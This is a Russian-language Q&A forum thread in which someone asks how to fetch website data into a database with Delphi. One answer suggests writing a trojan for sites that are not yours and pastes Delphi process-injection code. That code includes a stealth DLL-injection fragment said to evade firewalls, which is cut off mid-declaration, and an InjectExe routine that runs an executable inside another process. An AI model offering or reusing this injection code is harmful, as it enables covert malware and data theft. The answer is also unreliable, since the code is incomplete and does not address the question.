Другие языки программирования и технологии

Delphi!? Возможно ли виртуально(динамически) зайти на сайт и записать данные с сайта в БД с помощью средств Delphi?

Почему нет? Посимвольно считываеш все и говориш куда писать
Еркин Еламанулы
Еркин Еламанулы
370
Лучший ответ
Султан Мингажитдинов хм... посимвольно??? а как прочитать вообще веб-страницу его средствами, хотя бы натолкни на мысль, совмем незнаю от чего отталкиваться???
Если сайт твой это не просто возможно это реально и везде это практикуется, если же сайт не твой и ты хочешь похакерить теоретически такое тоже возможно но практически сложно. Покрайней мере чтоб записать данные нужно писать трояна, который делает иньекцию в другие процессы и выполняет свои функции собирания данных, вот например пару функций:
{
Внедрение Dll в процесс методом инжекции кода и настройки образа Dll в памяти.
Данный метод внедрения более скрытен, и не обнаруживается фаерволлами.
}
function InjectDllEx(Process: dword; Src: pointer): boolean;
type
TDllLoadInfo = packed record
Module: pointer;
EntryPoint: pointer;
end;
var
Lib: TLibInfo;
BytesWritten: dword;
ImageNtHeaders: PImageNtHeaders;
pModule: pointer;
Offset: dword;
DllLoadInfo: TDllLoadInfo;
hThread: dword;
{ процедура передачи управления на точку входа dll }
procedure DllEntryPoint(lpParameter: pointer); stdcall;
var
LoadInfo: TDllLoadInfo;
begin
LoadInfo := TDllLoadInfo(lpParameter^);
asm
xor eax, eax
push eax
push DLL_PROCESS_ATTACH
push LoadInfo.Module
call LoadInfo.EntryPoint
end;
end;
{
Внедрение образа Exe файла в чужое адресное пространство и запуск его точки входа.
Data - адрес образа файла в текущем процессе.
}
function InjectExe(Process: dword; Data: pointer): boolean;
var
Module, NewModule: pointer;
EntryPoint: pointer;
Size, TID: dword;
hThread : dword;
BytesWritten: dword;
Header: PImageOptionalHeader;
begin
Result := False;
Header := PImageOptionalHeader(pointer(integer(Data) +
PImageDosHeader(Data)._lfanew + SizeOf(dword) +
SizeOf(TImageFileHeader)));
Size := Header^.SizeOfImage;
Module := pointer(Header^.ImageBase);
EntryPoint := pointer(Header^.ImageBase + Header^.AddressOfEntryPoint);

NewModule := VirtualAllocEx(Process, Module, Size, MEM_COMMIT or
MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if NewModule = nil then exit;
WriteProcessMemory(Process, NewModule, Module, Size, BytesWritten);
hThread := CreateRemoteThread(Process, nil, 0, EntryPoint, NewModule, 0, TID);
if hThread <> 0 then Result := True;
end;
Одним словом все реально, данные я брал с библиотек написанных Ms-Rem
advApiHook.pas, NativeAPI.pas

Похожие вопросы